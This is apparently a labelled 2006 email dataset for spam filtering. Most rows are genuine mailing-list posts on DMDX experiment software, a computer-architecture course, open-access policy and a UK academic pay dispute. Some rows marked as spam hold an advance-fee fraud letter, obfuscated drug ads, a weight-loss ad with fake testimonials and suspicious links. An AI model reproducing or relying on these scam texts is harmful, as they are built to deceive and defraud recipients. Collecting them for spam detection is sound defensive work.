> - * ""wav 11""/; > + * < wav 12> ""wav12""/; > - * ""wav13""/; > $ > 0 ""the end"" > I repeatedly recieve the missing item number prompt. So then I tried > running a > simple text script, just to see if I could get anything to run. It looks > like > this: > 36> > > $ > 0 ""press the space bar to start"" ; > 0 ""read these and press proper button""; > $ > + 10 * ""eat"" /; > - 11 * ""sleep""/; > + 12 * ""drink""/; > - 13 * ""dream""/; > $ > 0 ""The End""; > $ > I recieve the same message. I can't see what is wrong with these, as I've > tried > a million variations on the parameter and item lines. Please help! > Thank you, > Dennist Tomashek > UW-Milwaukee > dennist2@uwm.edu > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > > > Delete | Reply | Reply to All | Forward | Redirect | Blacklist | Message > Source > | Save as | Print > Move | Copy This message to ---- New Folder ---- drafts newsarticles > research > project sent-mail sent-mail-oct-2003 SPAM trash > > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Wed, 03 May 2006 17:00:57 -0500",Announcements,"FYI - that should read Thursday May 4 below (sorry for the typo). SK ==================================================== CS352-ers, The project is due tomorrow, Thursday May 3. As you recall, assignments are normally due in class and assignments turned in after class are late. Since I really would like you all to attend class tomorrow, here is what I will do: - *If* you attend class tomorrow, you may turn in the project until tomorrow at 5pm without any late penalty. - If you do not attend class tomorrow and you turn in your project after 9:30am, then it will be subject to the late day policy. In addition, we may have a final quiz tomorrow (don't worry - it will be easy). I am arranging a room for the review session, currently scheduled for Monday May 8 at 3pm. I'll get back to you on the location. I also expect to announce the location of the final exam shortly. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Wed, 03 May 2006 20:30:52 -0500",More sample output files,"Hi CS352-ers, I have uploaded the output for trace files trace1 for cache configurations c1,c2,c5 and c6. If your program works for c1 (direct mapped) but not for c2(2 way set associative), then it implies your LRU is the working correctly.If it works for c1 but not for c5, then it implies, you are not handling block sizes properly. You can find the output files(tt1.c1, tt1.c2, tt1.c5, tt1.c6) at http://www.cs.utexas.edu/users/skeckler/cs352/project Madhavi ",0,1 """Charles W. Bailey, Jr."" ",SPARC-OAForum@arl.org,"Wed, 03 May 2006 22:08:49 -0400","""Strong Copyright + DRM + Weak Net Neutrality = Digital Dystopia?"" Preprint","A preprint of my ""Strong Copyright + DRM + Weak Net Neutrality = Digital Dystopia?"" paper is now available. http://www.digital-scholarship.com/cwb/DigitalDystopia.pdf It will appear in Information Technology and Libraries 25, no. 3 (2006). This quote from the paper's conclusion sums it up: What this paper has said is simply this: three issues--a dramatic expansion of the scope, duration, and punitive nature of copyright laws; the ability of DRM to lock-down content in an unprecedented fashion; and the erosion of Net neutrality--bear careful scrutiny by those who believe that the Internet has fostered (and will continue to foster) a digital revolution that has resulted in an extraordinary explosion of innovation, creativity, and information dissemination. These issues may well determine whether the much-toted ""information superhighway"" lives up to its promise or simply becomes the ""information toll road"" of the future, ironically resembling the pre-Internet online services of the past. For those who want a longer preview of the paper, here's the introduction: Blogs. Digital photo and video sharing. Podcasts. Rip/Mix/Burn. Tagging. Vlogs. Wikis. These buzzwords point to a fundamental social change fueled by cheap PCs and servers, the Internet and its local wired/wireless feeder networks, and powerful, low-cost software: citizens have morphed from passive media consumers to digital media producers and publishers. Libraries and scholars have their own set of buzz words: digital libraries, digital presses, e-prints, institutional repositories, and open access journals to name a few. They connote the same kind of change: a democratization of publishing and media production using digital technology. It appears that we are on the brink of an exciting new era of Internet innovation: a kind of digital utopia. Dr. Gary Flake of Microsoft has provided one striking vision of what could be (with a commercial twist) in a presentation entitled ""How I Learned to Stop Worrying and Love the Imminent Internet Singularity,"" and there are many other visions of possible future Internet advances. When did this metamorphosis begin? It depends on who you ask. Let's say the late 1980's, when the Internet began to get serious traction and an early flowering of noncommercial digital publishing occurred. In the subsequent twenty-odd years, publishing and media production went from being highly centralized, capital-intensive analog activities with limited and well-defined distribution channels to being diffuse, relatively low-cost digital activities with the global Internet as their distribution medium. Not to say that print and conventional media are dead, of course, but it is clear that their era of dominance is waning. The future is digital. Nor is it to say that entertainment companies (e.g., film, music, radio, and television companies) and information companies (e.g., book, database, and serial publishers) have ceded the digital content battlefield to the upstarts. Quite the contrary. High-quality thousand-page-per-volume scientific journals and Hollywood blockbusters cannot be produced for pennies, even with digital wizardry. Information and entertainment companies still have an important role to play, and, even if they didn't, they hold the copyrights to a significant chunk of our cultural heritage. Entertainment and information companies have understood for some time that they must adopt to the digital environment or die, but this change has not always been easy, especially when it involves concocting and embracing new business models. Nonetheless, they intend to thrive and prosper--and to do whatever it takes to succeed. As they should, since they have an obligation to their shareholders to do so. The thing about the future is that it is rooted in the past. Culture, even digital culture, builds on what has gone before. Unconstrained access to past works helps determine the richness of future works. Inversely, when past works are inaccessible except to a privileged minority, it impoverishes future works. This brings us to a second trend that stands in opposition to the first. Put simply, it is the view that intellectual works are ""property""; that this property should be protected with the full force of civil and criminal law; that creators have perpetual, transferable property rights; and that contracts, rather than copyright law, should govern the use of intellectual works. A third trend is also at play: the growing use of Digital Rights Management (DRM) technologies. When intellectual works were in paper form (or other tangible forms), they could only be controlled at the object-ownership or object-access levels (a library controlling the circulation of a copy of a book is an example of the second case). Physical possession of a work, such as a book, meant that the user had full use of it (e.g., the user could read the entire book and photocopy pages from it). When works are in digital form and they are protected by some types of DRM, this may no longer true. For example, a user may only be able to view a single chapter from a DRM-protected e-book and may not be able to print it. The fourth and final trend deals with how the Internet functions at its most fundamental level. The Internet was designed to be content, application, and hardware ""neutral."" As long as certain standards were met, the network did not discriminate. One type of content was not given preferential delivery speed over another. One type of content was not charged for delivery while another wasn't. One type of content was not blocked (at least by the network) while another wasn't. In recent years, ""network neutrality"" has come under attack. The collision of these trends has begun in courts, legislatures, and the marketplace. It is far from over. As we shall see, it's outcome will determine what the future of digital culture looks like. -- Best Regards, Charles Charles W. Bailey, Jr., Assistant Dean for Digital Library Planning and Development, University of Houston Libraries E-Mail: cbailey@digital-scholarship.com Publications: http://www.digital-scholarship.com/ (Provides access to DigitalKoans, Open Access Bibliography, Open Access Webliography, Scholarly Electronic Publishing Bibliography, Scholarly Electronic Publishing Weblog, and others) ",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Thu, 04 May 2006 03:23:06 -0500",Final piece of advice,"Hi CS352-ers, Many of you may be using various IDEs for your project. Before you turnin your project, please check if it compiles and runs in the CS machines from command line. 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Speak., spending many times on >> processing spoken >> words, can cause errors in timing (... maybe stroop tasks with speech >> recognition can only exist in my dreams !) The most important to me, >> for the >> moment, is to display correct feedbacks. > > > No one here has. you could try to use the human speech recognition system by alternating every experimental trial with a dummy trial where the experimenter presses the left or the right key of the mouse depending on the participant's answer (DMDX then displays feedback according to the mouse press). of course that requires an experimenter to be present (but we do that anyway for namming experiments) or a set up where you have the mouse and the loudspeakers outside the testing room -- F.-Xavier ALARIO http://www.up.univ-mrs.fr/document.php?pagendx=2068&project=lpc ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 04 May 2006 08:12:50 -0700",[DMDX] Re: Speech recognition with DMDX,"At 04:28 PM 5/4/2006 +0200, you wrote: >>>I would also like to know if some of you, in psychological researches, have >>>already used DMDX or others softwares to create such experiments with speech >>>recognition and feedbacks. Maybe this is not an experiment with scientifical >>>precision, because Dragon Nat. Speak., spending many times on processing >>>spoken >>>words, can cause errors in timing (... maybe stroop tasks with speech >>>recognition can only exist in my dreams !) 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Aberdeen and St Andrews reject local pay offers as employers lose patience with UCEA: In a decisive day yesterday, both Aberdeen and St Andrews Local AUT branches rejected local pay offers touted by their managements. At Aberdeen a General Meeting of 200 members voted overwhelmingly to express 100% support for the national negotiators in seeking to resolve the dispute at an early date in a national agreement which addresses our pay claim. At St Andrews, the Local Association informed management that it would not accept the local offer, following recognition that its email consultation was not in accordance with rules and that the majority of members had not expressed a view. St Andrews University's unfortunate and desperate attempt to bypass the frustrating delays caused by UCEA's intransigence have clearly failed, yet more evidence of the enormous impact of our action. To read an AUT statement giving a full account of these developments in Scotland go to: http://www.aut.org.uk/media/pdf/o/6/aut_localoffers_5may06.pdf Scottish Executive tells the employers, 'the money's there, talk now': The political pressure on UCEA was also ratcheted up a notch this week as the Scottish Deputy Minister for Enterprise and Lifelong Learning, Allan Wilson, confirmed that there was 'ample scope for both parties to sit around the table and hammer out a settlement that will take the sector forward and protect academic rates of pay and conditions of service'. Mr Wilson's intervention contradicts once again the employers' pleas of poverty and demonstrates that the employers are politically isolated. There is no obstacle to an improved offer on Monday and we look forward to UCEA recognising this once and for all. AUT deeply concerned at unprofessional University contingency plans: Following the widely reported move by Keele University to allow students to graduate having completed only two thirds of their final year, AUT general secretary Sally Hunt condemned the move as threatening quality in order to avoid settling the dispute. She was echoed in this by the Law Society, who voiced their concern that such contingency plans would compromise national standards of degrees. Sally Hunt has today written to twenty statutory and professional bodies, including the Royal Society and the General Medical Council raising AUT's concerns that other universities, such as Newcastle and Liverpool are considering similar actions. The letter asks that professional bodies write to VCs and to Universities UK to discourage them from any reckless measures that will jeopardize degree standards. AUT welcomes Johnson back to education and reminds him of commitment on staff pay: The Association of University Teachers (AUT) today welcomed the appointment of Alan Johnson MP as secretary of state for education. Mr Johnson committed money from the new top-up fee regime to staff pay when minister for higher education in 2004. Commenting on Mr Johnson's appointment, AUT general secretary, Sally Hunt, said: ""Alan Johnson is a hugely respected MP and minister and, of course, a former trade union leader. The current pay dispute is at a critical stage and we are very fortunate that the man who told the truth about universities' commitment to staff pay is back in education. ""We have repeatedly asked the employers to honour their commitment to use the new money they lobbied for to sort out staff pay. The employers' attempts to wriggle out of that commitment are as shameful as they are deceitful. To save themselves from any further embarrassment the employers must use Monday's pay talks to honour their prior commitment on pay and the more recent ones about making staff a fair offer. A failure to do so will let down everyone involved in this dispute and only cause them further embarrassment."" 180 MPs have now signed the EDM - keep up the political pressure -- get your MP involved: The number of MPs who have publicly backed our campaign has now topped 180. This is a fantastic result. We know that over recent weeks, dozens of members have written to their MPs -- thanks if you've already done so. If you haven't, please do so now. Every bit of heat we can turn on the employers will help. Use the draft letter here to contact your MP, ask them to sign the EDM and urge them to write to UCEA - and please let us know you've been in touch with them: http://www.aut.org.uk/media/docs/d/l/paycampaign_mpletter.rtf Select Committee criticises Sussex VC: The Science and Technology Select Committee yesterday published its report on the VC of Sussex University's attempt to close the Chemistry Department. The damning report accuses troubled VC Alasdair Smith of running down the department over a number of years, failing to replace staff, failing to consult the Head of Department over the future of Chemistry and failing to inform HEFCE of his intentions until only one week before the public announcement. The report makes it clear that there is no basis for closing Chemistry. The report is also highly critical of HEFCE's lack of power to intervene and on universities' ability to deliver the government's objective of protecting strategically important subjects, urging that the government consider stronger mechanisms for restraining the open market in Higher Education provision if it wants to promote Research and Development fit for a knowledge economy. You can read the report in full at the following link: http://image.guardian.co.uk/sys-files/Education/documents/2006/05/03/susses x.pdf Responding to the report, Sally Hunt called for a quick final decision that will safeguard Chemistry at Sussex and condemned VCs for the short-termist decision-making that has thrown jobs and whole departments into crisis: ""Slamming shut the door of opportunity for current and future chemists makes no sense at all. The proud reputation our universities enjoy worldwide is in no small part down to the fantastic efforts of departments such as chemistry. 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It is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRF9wln0pj593lg50AQKCiQf/bGAQoEkrvvVrUuPMvSZtcMvN+XASfNKD FURStXc9/tWEcRAVtkUzT5Ya/B6vMJIIOUSzon86Q0rrc84fdi2Asbz3OrrZ6n86 Gu2CxPZ0E16j1IYpXBYVsG2p5MBFuENA7eB+LFFWy6ONTvPAqHXrFqt1RdoU2nbi vIukS9IdMyWZD3RKjAy2LP135kBl7FAEwdnZ+++CqwAAUheYoM3OlCc/yenAatmh JZY6qEo1XtEYRch8juEL/Fr2Xl4h3z1acWDRLw2ZXnkbTF1LQy4rIGYGXjroIKAY Q6q9oo2e02c2oa9WqtE59ldl7s2KmT1xZuyiZIMgNYl28762lW3imw== =uBgZ -----END PGP SIGNATURE-----",0,1 Maria Luiza Cunha Lima ,DMDX@psy1.psych.arizona.edu,"Mon, 08 May 2006 18:32:38 -0300",[DMDX] visual prime cue,"Hello, I am wondering if it is possible to insert a prime cue on a audio file using a different program from cool edit, for instance, Praat? Thank you very much for this information. Maria Luiza ",0,0 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Mon, 08 May 2006 23:10:03 +0100",[DMDX] Re: visual prime cue,"I've done it using Audacity, which you can get for free in http://audacity.sourceforge.net With it, it is possible to generate a tone of a particular frequency, length, amplitude, and waveform. As long as the resulting file is a .wav file, it can be opened by DMDX. Greetings, João Maria Luiza Cunha Lima wrote: > Hello, > I am wondering if it is possible to insert a prime cue on a audio file > using a different program from cool edit, for instance, Praat? Thank > you very much for this information. > Maria Luiza > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 ARL Communications ,,,"On the ARL Server (May 8, 2006)","On the ARL Server Week of May 8, 2006 Access to Federally Funded Research: Cornyn/Lieberman Co-Sponsor Legislation: Federal Research Public Access Act of 2006 SPARC Advocacy Resources: The Federal Research Public Access Act of 2006: Frequently Asked Questions for University Administrators & Faculty ARL's Prue Adler Named 2006 Recipient of Patterson Copyright Award SPARC Open Access Newsletter, May 2, 2006 ARL Membership Meeting, May 16–19 in Ottawa Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] Mapping License Language for Electronic Resource Management, ARL/DLF Workshop, June 22, 2006 ARL Events at ALA, New Orleans, June 2006 ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 ARL Communications ,,,Library Groups Applaud Legislation that Improves Public Access to Federal Scientific Research,"Contact: Prudence S. Adler (202) 296-2296 NEWS for Immediate Release: American Association of Law Libraries, American Library Association, Association of Research Libraries, Association of College and Research Libraries, Medical Library Association, Special Libraries Association May 2, 2006 Library Groups Applaud Legislation that Improves Public Access to Federal Scientific Research Washington, DC—A coalition of national library associations praised the introduction of the ""Federal Research Public Access Act of 2006."" The legislation, introduced by Sen. John Cornyn (R-TX) and Sen. Joseph Lieberman (D-CT) would require federal agencies with extramural research portfolios over $100 million to make the electronic versions of peer-reviewed articles publicly available via the Internet within 6 months of publication. ""Far too often the results of research that the U.S. government funds—with billions of taxpayer dollars each year—are not broadly available to researchers, scientists, physicians and members of the public. This legislation will greatly expand public access while at the same time, ensure that these articles generated with federal support are available to future generations,"" said Prudence S. Adler, a spokesperson for the coalition. Enhanced public access to publicly funded research spurs innovation and competition by accelerating research, sharing knowledge, improving treatment of diseases, and supports the educational enterprise. The coalition is made up of the American Association of Law Libraries, the American Library Association, the Association of Research Libraries, the Association of College and Research Libraries, the Medical Library Association, and the Special Libraries Association. These associations collectively represent over 139,000 libraries in the United States employing 350,000 librarians and library workers. The mission of libraries is to foster global access to information for creative, research, and educational uses. The American Association of Law Libraries (AALL) is a nonprofit educational organization with over 5,000 members nationwide. AALL's mission is to promote and enhance the value of law libraries to the legal and public communities, to foster the profession of law librarianship, and to provide leadership in the field of legal information and information policy. http://www.aall.org/ Contact: Mary Alice Baish (202-662-9200) The American Library Association (ALA) is a nonprofit educational organization of over 65,000 librarians, library trustees, and other friends of libraries dedicated to improving library services and promoting the public interest in a free and open information society. http://www.ala.org/ Contact: Miriam Nisbet (202-628-8410) The Association of Research Libraries (ARL) is a nonprofit organization of 123 research libraries in North America. ARL's members include university libraries, public libraries, government and national libraries. Its mission is to shape and influence forces affecting the future of research libraries in the process of scholarly communication. ARL programs and services promote equitable access to and effective uses of recorded knowledge in support of teaching, research, scholarship and community service. http://www.arl.org/ Contact: Prudence S. Adler (202-296-2296) The Association of College and Research Libraries (ACRL) is a division of the American Library Association (ALA), representing more than 13,000 academic and research librarians and interested individuals. Its initiatives enable the higher education community to understand the role that academic libraries play in the teaching, learning, and research environments. http://www.acrl.org/ Contact: Mary Ellen Davis (800-545-24222, x3248) The Medical Library Association (MLA), a nonprofit, educational organization, is a leading advocate for health sciences information professionals with more than 4,700 members worldwide. Through its programs and services, MLA provides lifelong educational opportunities, supports a knowledgebase of health information research, and works with a global network of partners to promote the importance of quality information for improved health to the health care community and the public. http://www.mlanet.org/ Contact: Carla Funk (312-419-9094 x14) The Special Libraries Association (SLA) is a nonprofit global organization for innovative information professionals and their strategic partners. SLA serves more than 12,000 members in 83 countries in the information profession, including corporate, academic and government information specialists. SLA promotes and strengthens its members through learning, advocacy and networking initiatives. http://www.sla.org/ Contact: Doug Newcomb (703-647-4923) ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Christopher Lewis ,alisa@sheep.mit.edu,"Mon, 08 May 2006 08:07:14 -0500",Re. Application# 90427904108 approval," Di$s01ute note 1a$se$ surrounding http://fundeadnq.com > everything agnetic everything lagic 386973 > ignobly but eitsgrad myself onnet ",1,1 bar frank jones ,luvelove22@hotmail.com,"Mon, 08 May 2006 23:26:55 +0100",ENQUIRY,"13 Brixton Road London SW9 6DE Bar. Frank Jones wrote I am a solicitor to Late Mr. Morris Thompson , who unfortunately lost his life in the plane crash of Alaska Airlines Flight 261, which crashed on January 31 2000. You may read more about the crash on visiting this C.N.N News internet website. http://www.cnn.com/2000/US/02/01/alaska.airlines.list/ I privately need your assistance to secure huge sums of money left behind secretly by my late client to the tune of £15,000,000,00 .It is 100% riskfree.I will pay you 20% of the total sum for your cooperation in this matter. I will give you more details, on your positive response. Yours Faithfully, Frank Jones Send instant messages to your online friends http://uk.messenger.yahoo.com ",1,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Mon, 08 May 2006 21:51:23 -0500",Review Session Notes,"CS352-ers, Don't forget - final exam, Wednesday May 10, 9am-noon, WEL 2.308. You can also find the notes from the review session at the bottom of the handouts page: http://www.cs.utexas.edu/users/skeckler/cs352/handouts/handouts.shtml Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """Eiffel L. Teaching"" ",Bait ,"Mon, 08 May 2006 17:57:02 -0400",Try the new miracle weight loss herb,"Hoodia 920+ -- The newest and most exciting fat loss product available - As seen on Oprah! http://www.pasuva.com Real testimonials: ""I was originally amazed that the first two pills I took of Hoodia 920+, almost immediately took my cravings away. Now 4 weeks later, 3 belt holes later, I have become an advocate for this awesomely powerful, natural supplement!"" Amelia B., Bellevue WA ""I tried Hoodia 920+ after visiting your website, and I lost a few pounds without doing anything else. I was so amazed I decided to start exercising and getting outside more and I even starting eating better. Now I don't even look like the same man. Friends I haven't seen for more than a year don't even recognize me. The change is that dramatic! Thank you �. Hoodia 920+ really works!"" Rikky Martin, Washington Read more testimonals here! http://www.pasuva.com Remove you e-mail http://www.kafkal.com/u.php ",1,1 Euan Gagner ,CGatePro@mail.stalker.com,"Mon, 08 May 2006 13:58:51 -0700",Re: VALetUM news,"Hi, L X C V P V A e a I A r I m v n A L o A b i a L I z G i t x I U a R e ra S M c A n http://www.claiccampe.com the dwarves, and the wood was filled again with their clamour and their cries. Bilbo found himself running round and round (as he thought) and calling and calling: Dori, Nori, Ori, Oin, Gloin, Fili, Kili, Bombur, Bifur, Bofur, Dwalin, Balin, Thorin Oakenshield, while people he could not see or feel were doing the same all round him (with an occasional Bilbo! ",1,1 Viviana Heier ,cussw-suboard@columbia.edu,"Mon, 08 May 2006 23:02:18 -0700",Re: AgMBtEN news,"Hi, L V V C A P X e I A I m r a v A L A b o n i G I L i z a t R U I e a x r A M S n c a http://www.popuariso.com three different packages- For Gods sake, will you get to the point, Judge? Judge? The gray-faced old mans eyes widened. Thank you, Randy. Except for my friends in various gin mills, I havent been called that in years. It must be the aura I exude. It was a throwback to that same boring circumlocution you used both ",1,1 David.F.Fitzgerald@williams.edu,"williams-personnel@williams.edu, williams-students@williams.edu","Tue, 09 May 2006 10:49:28 -0400",Caterpillars!,"To the Williams Community, People have asked about the sudden appearance of, shall we say, rather a few caterpillars on campus and in other parts of town and what's being done about it. No, we're not living in a Hitchcock movie. They're called forest tent caterpillars, because of the tent-shaped nests they build in trees. They were here last year, too, and are capable of eating almost all the leaves on a tree. To prevent this, grounds staff is applying to affected trees a bacterium called Bacillus thuringiensis (Bt). Bt is the only microbial insecticide on the market that is a naturally occurring bacterium. It is commonly found in soils throughout the world. Bt produces proteins that shut down the caterpillars' digestive systems in a couple days. It's considered non-toxic to people and to all non-target species. Its use is even recommended for food crops. The current infestation is significantly worse than in prior years. The populations are so high that the caterpillars are moving from tree to tree via silken webs, looking for additional food sources and are feeding on plant material not normally attacked. For this reason it's very difficult to establish a precise spray schedule, so spray sites are determined almost daily as the caterpillars arise and new foliage emerges. We anticipate applying Bt for the next 2-3 weeks during the caterpillars' most vulnerable stage. It's impractical to spray every tree on campus so we're concentrating on the most significant ones. We're also sensitive to people and property and so are making every effort to minimize the impact on both. Trees that have been sprayed will be posted for 24 hours with a yellow caution sign. Please call me at x3304 with any questions. Or contact our Service Desk at x2486 to notify us of an outbreak in your area of campus. Meanwhile, we also recommend you keep your car windows closed since some people have returned to their cars only to find a large furry wriggling surprise. Eventually they'll turn into moths, which will prove a boon to the local bat population. But that's a story for another time. Regards, Dave Fitzgerald Horticulturist and Grounds Supervisor ",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Tue, 09 May 2006 12:06:49 -0400",Library Groups Applaud Legislation that Improves Public Access to Federal Scientific Research,"[Forwarding from the ARL on behalf of six library organizations. --Peter.] Contact: Prudence S. Adler (202) 296-2296 NEWS for Immediate Release: American Association of Law Libraries, American Library Association, Association of Research Libraries, Association of College and Research Libraries, Medical Library Association, Special Libraries Association May 2, 2006 Library Groups Applaud Legislation that Improves Public Access to Federal Scientific Research Washington, DC—A coalition of national library associations praised the introduction of the ""Federal Research Public Access Act of 2006."" The legislation, introduced by Sen. John Cornyn (R-TX) and Sen. Joseph Lieberman (D-CT) would require federal agencies with extramural research portfolios over $100 million to make the electronic versions of peer-reviewed articles publicly available via the Internet within 6 months of publication. ""Far too often the results of research that the U.S. government funds—with billions of taxpayer dollars each year—are not broadly available to researchers, scientists, physicians and members of the public. This legislation will greatly expand public access while at the same time, ensure that these articles generated with federal support are available to future generations,"" said Prudence S. Adler, a spokesperson for the coalition. Enhanced public access to publicly funded research spurs innovation and competition by accelerating research, sharing knowledge, improving treatment of diseases, and supports the educational enterprise. The coalition is made up of the American Association of Law Libraries, the American Library Association, the Association of Research Libraries, the Association of College and Research Libraries, the Medical Library Association, and the Special Libraries Association. These associations collectively represent over 139,000 libraries in the United States employing 350,000 librarians and library workers. The mission of libraries is to foster global access to information for creative, research, and educational uses. The American Association of Law Libraries (AALL) is a nonprofit educational organization with over 5,000 members nationwide. AALL's mission is to promote and enhance the value of law libraries to the legal and public communities, to foster the profession of law librarianship, and to provide leadership in the field of legal information and information policy. http://www.aall.org/ Contact: Mary Alice Baish (202-662-9200) The American Library Association (ALA) is a nonprofit educational organization of over 65,000 librarians, library trustees, and other friends of libraries dedicated to improving library services and promoting the public interest in a free and open information society. http://www.ala.org/ Contact: Miriam Nisbet (202-628-8410) The Association of Research Libraries (ARL) is a nonprofit organization of 123 research libraries in North America. ARL's members include university libraries, public libraries, government and national libraries. Its mission is to shape and influence forces affecting the future of research libraries in the process of scholarly communication. ARL programs and services promote equitable access to and effective uses of recorded knowledge in support of teaching, research, scholarship and community service. http://www.arl.org/ Contact: Prudence S. Adler (202-296-2296) The Association of College and Research Libraries (ACRL) is a division of the American Library Association (ALA), representing more than 13,000 academic and research librarians and interested individuals. Its initiatives enable the higher education community to understand the role that academic libraries play in the teaching, learning, and research environments. http://www.acrl.org/ Contact: Mary Ellen Davis (800-545-24222, x3248) The Medical Library Association (MLA), a nonprofit, educational organization, is a leading advocate for health sciences information professionals with more than 4,700 members worldwide. Through its programs and services, MLA provides lifelong educational opportunities, supports a knowledgebase of health information research, and works with a global network of partners to promote the importance of quality information for improved health to the health care community and the public. http://www.mlanet.org/ Contact: Carla Funk (312-419-9094 x14) The Special Libraries Association (SLA) is a nonprofit global organization for innovative information professionals and their strategic partners. SLA serves more than 12,000 members in 83 countries in the information profession, including corporate, academic and government information specialists. SLA promotes and strengthens its members through learning, advocacy and networking initiatives. http://www.sla.org/ Contact: Doug Newcomb (703-647-4923) ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::",0,1 Bill Mark ,cs395t-mark@cs.utexas.edu,"Tue, 09 May 2006 13:14:11 -0500",FGP reminder - projects due 11:59pm today,"Hi FGP, A quick reminder that final project writeups are due at 11:59pm today. Please either email me a PDF, or a URL to a web page. Bill ",0,0 Nicolas Hatier ,CommuniGate Pro Discussions ,"Tue, 09 May 2006 16:36:26 -0400",Re: Existing Mailbox,"I don't think this will work in a server-wide rule since there is no account context yet, the server can't check for existing mailbox except if you specify a full mailbox name, such as ""~postmaster/INBOX"". Try to move this to a domain-level rule, you'll have more success. N. Kevin Heneveld wrote: > Does it make a difference that it is a server-wide rule instead of an > account-level rule? I really need a server-wide rule for this. > > I've already checked the spelling and location - they are all correct. > > On Tue, 09 May 2006 13:09:41 -0700 > ""Bret Miller"" wrote: > |> I have a domain-wide rule: > |> > |> Header Field is X-Spam-Flag: YES > |> Existing Mailbox is Spam > |> Store in Spam > |> Discard > |> Stop Processing > |> > |> This rule never seems to hit but the next rule down in priority: > |> > |> Header Field is X-Spam-Flag: YES > |> Store in ~blocked/INBOX > |> Discard > |> Stop Processing > |> > |> works fine. It appears that the Existing Mailbox is Spam is > |> not taking. What > |> am I doing wrong? I'd like any user that has a ""Spam"" > |> mailbox in their > |> webmail to get their spam directed to them but the rest get > |> directed to the > |> ~blocked account for manual review and dispersal (for the > |> die-hard pop users out there). > | | Hmmm... It works for me with the following: > | |From is bret.miller@wcg.org > | Subject is Test > | Existing Mailbox is Junk E-mail > | Store in Junk E-mail > | Discard > | | Things to remember about mailbox names: They must be spelled and > | capitalized exactly correctly. Your rule will not match a ""spam"" > | mailbox, nor a ""SPAM"" mailbox, but only a ""Spam"" mailbox. The Spam > | mailbox must exist at the root level of the account, not under inbox. > | Those are the most common reasons why mailbox names don't match. > | | Bret -- *Nicolas Hatier* /Niversoft idées logicielles/ /http://www.niversoft.com/",0,1 """LeBoeuf, Janice (OMAFRA)"" ",Great Lakes Vegetable Working Group ,"Tue, 09 May 2006 15:06:22 -0400",2007 GLVWG Annual Meeting - change of dates - input requested,"Hello I hope the spring is going well for everyone. I would like some input from all of you on a change of dates for the 2007 GLVWG Annual Meeting. It was planned for Feb. 21 & 22, 2007 (here in Ontario), but our Fruit & Veg Convention has been moved to those exact dates (can you believe it?!). I would like to find out which alternative dates work for the most people. I'm suggesting: Feb. 14 & 15 (what a great way to spend Valentine's Day - ha ha) OR Feb. 28 & Mar. 1 Both are Wednesday/Thursday. Janice Janice LeBoeuf, Vegetable Crop Specialist Ontario Ministry of Agriculture & Food Box 400, 120 Main St. E. Ridgetown, ON N0P 2C0 Ph: (519) 674-1699 Fax: (519) 674-1564 New e-mail address: janice.leboeuf@omafra.gov.on.ca New vegetable web page addresses: http://www.omafra.gov.on.ca/english/crops/hort/vegetable.html 